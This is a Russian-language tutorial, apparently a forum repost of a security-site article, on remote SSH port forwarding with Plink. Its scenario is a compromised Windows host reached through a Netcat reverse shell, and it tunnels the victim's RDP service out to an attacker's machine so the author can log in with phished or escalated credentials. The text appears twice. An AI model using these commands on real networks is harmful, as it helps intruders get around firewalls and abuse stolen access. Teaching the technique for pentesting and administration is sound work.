Если вы планируете сделку с его участием, мы настоятельно рекомендуем вам не совершать ее до окончания блокировки. Если пользователь уже обманул вас каким-либо образом, пожалуйста, пишите в арбитраж, чтобы мы могли решить проблему как можно скорее.
Автор: Barrow
В этой статье мы рассмотрим использование SSH для доступа к удаленному рабочему столу через хост, находящийся за фаерволом во внутренней сети, без модификации правил, связанных с перенаправление портов, в шлюзе!
Локальное перенаправление портов (port forwarding) уместно в том случае, если вы хотите использовать SSH для подключения к немаршрутизируемой сети (non-routable network). Однако если вы хотите получить доступ к службам в сети, когда нет возможности настроить перенаправление портов в роутере и у вас нет VPN-доступа к сети, вам поможет удаленное перенаправление портов.
Удаленное перенаправление портов подходит в тех ситуациях, когда вы хотите воспользоваться службой во внутренней сети после получения доступа к одной из машин этой сети через реверсивный (обратный) шелл. Вне зависимости от того выполняете ли вы пентесты или являетесь системным администратором, будет полезно разобраться в этой теме.
Допустим, вы скомпрометировали общедоступный терминал в местной библиотеке и получили учетные записи. Затем вы установили надежное подключение к вашей машине при помощи реверсивного шелла, но у вас нет доступа к остальным службам. Вероятно, вам захочется воспользоваться SQL-службой или удаленным рабочим столом, доступ к которым возможен только с локального хоста. Кроме того, в той сети может быть доступна какая-нибудь админ-панель, с который вы также захотите ознакомиться. В общем, чего бы вы ни пожелали, чтобы решить поставленную задачу, вам понадобится скомпрометированный хост и доступ через SSH.
Удаленное перенаправление портов может понадобиться не только во вредоносных целях, а, например, для того, чтобы сделать временную «дыру» для доступа к рабочим службам из дома (хотя служба безопасности может негативно относиться к подобного рода мероприятиям).
Другой пример: фишинговые компании, когда пользователь запустил вашу полезную нагрузку, и у вас есть только обратный шелл. После получения дополнительной информации и последующего расширения привилегий, у вас появляется административная учетная запись, которую вы хотите использовать для доступа к другой службе на скомпрометированной машине.
В этой статье мы рассмотрим использование SSH для доступа к удаленному рабочему столу через хост, находящийся за фаерволом во внутренней сети, без модификации правил, связанных с перенаправление портов, в шлюзе!
Начальные условия
Шелл представляет собой Netcat-соединение, запущенный через cmd.exe. Пользователь «bob» не обладает привилегиями. На базе ранее полученной информации я знаю, что существует привилегированный пользователь «barrow» и возможность подключения к удаленному рабочему столу.
Рисунок 1: Список активных соединений
Было бы замечательно подключиться к этой машине через удаленный рабочий стол под учетной записью администратора, однако маршрутизация к моей системе отсутствует. Скомпрометированная система находится за роутером с внутренним IP-адресом, и у меня есть доступ к внутренней сети только через внутренний хост.
Я могу воспользоваться обратным шеллом для взаимодействия со скомпрометированным хостом, но, но не смогу подключиться к удаленному рабочему столу при помощи того же IP-адреса. Если я буду использовать публичный IP-адрес, то подключусь к роутеру, который будет игнорировать мои пакеты. Поскольку у меня нет SSH-сервера в этой сети, я буду использовать Plink для перенаправления службы удаленного рабочего стола на мою машину.
Шаг 1: Установка Plink
Plink – это SSH-клиент, работающий на базе командной строки в ОС Windows. Данная утилита включена в дистрибутив Kali Linux и находится в директории /usr/share/windows-binaries/. Можно загрузить напрямую с
Рисунок 2: Содержимое директории /usr/share/windows-binaries/
Шаг 2: Настройка удаленного перенаправления портов
Используя Netcat-шелл и plink.exe, я буду устанавливать удаленное перенаправление портов из системы жертвы на мою машину при помощи следующей команды, вводимой в обратном шелле, который я организовал на машине жертвы.
plink attackingMachine -R 4000:127.0.0.1:3389
Синтаксис аналогичен SSH. Параметр –R указывает Plink, что нужно подключиться к моей машине и привязать образованный канал к порту 4000 (можно выбрать любой другой порт). Далее определяем, какая служба будет привязана к порту 4000 на моей машине. Порт, используемый в системе жертвы – 3389. После ввода команды я подключусь к моей машине и буду иметь доступ к службе удаленного рабочего стола через мой локальный порт 4000.
Рисунок 3: Схема подключения к удаленной службе
Обратите внимание, что я использовал адрес 127.0.0.1 при запуске команды в системе жертвы. Этот трюк полезен для перенаправления портов в случае со службами, которые ограничены доступом только со стороны localhost (например, MySQL).
Шаг 3: Подключение к удаленному рабочему столу
Используя Netcat-шелл, я буду подключаться к службе удаленного рабочего стола в системе жертвы при помощи команды rdesktop. Команда ниже использует протокол удаленного рабочего стола для подключения к локальному порту 4000. Далее система жертвы производит перенаправление на свой локальный порт 3389.
rdesktop localhost:4000
Рисунок 4: Стартовый экран удаленного рабочего стола
Осталось воспользоваться учетными записями, полученными через фишинг или через расширение привилегий. Далее у меня будет полный доступ к системе даже несмотря на то, что шлюз игнорирует все запросы на входящие соединения. Кроме того, я продолжаю удерживать соединение, поскольку потерять шел намного проще, чем вернуть обратно.
Рисунок 5: Настройки контроля учетных записей
SSH – отличный способ для проникновения внутрь сетей и может пригодиться не только во время пентестов. Удаленное перенаправление портов позволяет воспользоваться службами в системах, доступ к которым в обычных условиях невозможен. Кроме того, вы можете использовать эти службы и не в злонамеренных целях. Например, если нужно подключиться к рабочей службе из дома, но фаервол отклоняет входящие пакеты. В некоторых случаях, установка реверсивного SSH-туннеля проще, чем, перенаправление портов у бюджетного роутера.
В этой статье мы рассмотрим использование SSH для доступа к удаленному рабочему столу через хост, находящийся за фаерволом во внутренней сети, без модификации правил, связанных с перенаправление портов, в шлюзе!
![9b4acf1abd6c0faf469ce70c05b48feb.png](https://www.securitylab.ru/upload/iblock/9b4/9b4acf1abd6c0faf469ce70c05b48feb.png)
Локальное перенаправление портов (port forwarding) уместно в том случае, если вы хотите использовать SSH для подключения к немаршрутизируемой сети (non-routable network). Однако если вы хотите получить доступ к службам в сети, когда нет возможности настроить перенаправление портов в роутере и у вас нет VPN-доступа к сети, вам поможет удаленное перенаправление портов.
Удаленное перенаправление портов подходит в тех ситуациях, когда вы хотите воспользоваться службой во внутренней сети после получения доступа к одной из машин этой сети через реверсивный (обратный) шелл. Вне зависимости от того выполняете ли вы пентесты или являетесь системным администратором, будет полезно разобраться в этой теме.
Допустим, вы скомпрометировали общедоступный терминал в местной библиотеке и получили учетные записи. Затем вы установили надежное подключение к вашей машине при помощи реверсивного шелла, но у вас нет доступа к остальным службам. Вероятно, вам захочется воспользоваться SQL-службой или удаленным рабочим столом, доступ к которым возможен только с локального хоста. Кроме того, в той сети может быть доступна какая-нибудь админ-панель, с который вы также захотите ознакомиться. В общем, чего бы вы ни пожелали, чтобы решить поставленную задачу, вам понадобится скомпрометированный хост и доступ через SSH.
Удаленное перенаправление портов может понадобиться не только во вредоносных целях, а, например, для того, чтобы сделать временную «дыру» для доступа к рабочим службам из дома (хотя служба безопасности может негативно относиться к подобного рода мероприятиям).
Другой пример: фишинговые компании, когда пользователь запустил вашу полезную нагрузку, и у вас есть только обратный шелл. После получения дополнительной информации и последующего расширения привилегий, у вас появляется административная учетная запись, которую вы хотите использовать для доступа к другой службе на скомпрометированной машине.
В этой статье мы рассмотрим использование SSH для доступа к удаленному рабочему столу через хост, находящийся за фаерволом во внутренней сети, без модификации правил, связанных с перенаправление портов, в шлюзе!
Начальные условия
Шелл представляет собой Netcat-соединение, запущенный через cmd.exe. Пользователь «bob» не обладает привилегиями. На базе ранее полученной информации я знаю, что существует привилегированный пользователь «barrow» и возможность подключения к удаленному рабочему столу.
![clip_image002.jpg](https://www.securitylab.ru/_Article_Images/2018/28/clip_image002.jpg)
Рисунок 1: Список активных соединений
Было бы замечательно подключиться к этой машине через удаленный рабочий стол под учетной записью администратора, однако маршрутизация к моей системе отсутствует. Скомпрометированная система находится за роутером с внутренним IP-адресом, и у меня есть доступ к внутренней сети только через внутренний хост.
Я могу воспользоваться обратным шеллом для взаимодействия со скомпрометированным хостом, но, но не смогу подключиться к удаленному рабочему столу при помощи того же IP-адреса. Если я буду использовать публичный IP-адрес, то подключусь к роутеру, который будет игнорировать мои пакеты. Поскольку у меня нет SSH-сервера в этой сети, я буду использовать Plink для перенаправления службы удаленного рабочего стола на мою машину.
Шаг 1: Установка Plink
Plink – это SSH-клиент, работающий на базе командной строки в ОС Windows. Данная утилита включена в дистрибутив Kali Linux и находится в директории /usr/share/windows-binaries/. Можно загрузить напрямую с
Для просмотра ссылки необходимо нажать
Вход или Регистрация
(ищите файл plink.exe).![clip_image004.jpg](https://www.securitylab.ru/_Article_Images/2018/28/clip_image004.jpg)
Рисунок 2: Содержимое директории /usr/share/windows-binaries/
Шаг 2: Настройка удаленного перенаправления портов
Используя Netcat-шелл и plink.exe, я буду устанавливать удаленное перенаправление портов из системы жертвы на мою машину при помощи следующей команды, вводимой в обратном шелле, который я организовал на машине жертвы.
plink attackingMachine -R 4000:127.0.0.1:3389
Синтаксис аналогичен SSH. Параметр –R указывает Plink, что нужно подключиться к моей машине и привязать образованный канал к порту 4000 (можно выбрать любой другой порт). Далее определяем, какая служба будет привязана к порту 4000 на моей машине. Порт, используемый в системе жертвы – 3389. После ввода команды я подключусь к моей машине и буду иметь доступ к службе удаленного рабочего стола через мой локальный порт 4000.
![clip_image006.jpg](https://www.securitylab.ru/_Article_Images/2018/28/clip_image006.jpg)
Рисунок 3: Схема подключения к удаленной службе
Обратите внимание, что я использовал адрес 127.0.0.1 при запуске команды в системе жертвы. Этот трюк полезен для перенаправления портов в случае со службами, которые ограничены доступом только со стороны localhost (например, MySQL).
Шаг 3: Подключение к удаленному рабочему столу
Используя Netcat-шелл, я буду подключаться к службе удаленного рабочего стола в системе жертвы при помощи команды rdesktop. Команда ниже использует протокол удаленного рабочего стола для подключения к локальному порту 4000. Далее система жертвы производит перенаправление на свой локальный порт 3389.
rdesktop localhost:4000
![clip_image008.jpg](https://www.securitylab.ru/_Article_Images/2018/28/clip_image008.jpg)
Рисунок 4: Стартовый экран удаленного рабочего стола
Осталось воспользоваться учетными записями, полученными через фишинг или через расширение привилегий. Далее у меня будет полный доступ к системе даже несмотря на то, что шлюз игнорирует все запросы на входящие соединения. Кроме того, я продолжаю удерживать соединение, поскольку потерять шел намного проще, чем вернуть обратно.
![clip_image010.jpg](https://www.securitylab.ru/_Article_Images/2018/28/clip_image010.jpg)
Рисунок 5: Настройки контроля учетных записей
SSH – отличный способ для проникновения внутрь сетей и может пригодиться не только во время пентестов. Удаленное перенаправление портов позволяет воспользоваться службами в системах, доступ к которым в обычных условиях невозможен. Кроме того, вы можете использовать эти службы и не в злонамеренных целях. Например, если нужно подключиться к рабочей службе из дома, но фаервол отклоняет входящие пакеты. В некоторых случаях, установка реверсивного SSH-туннеля проще, чем, перенаправление портов у бюджетного роутера.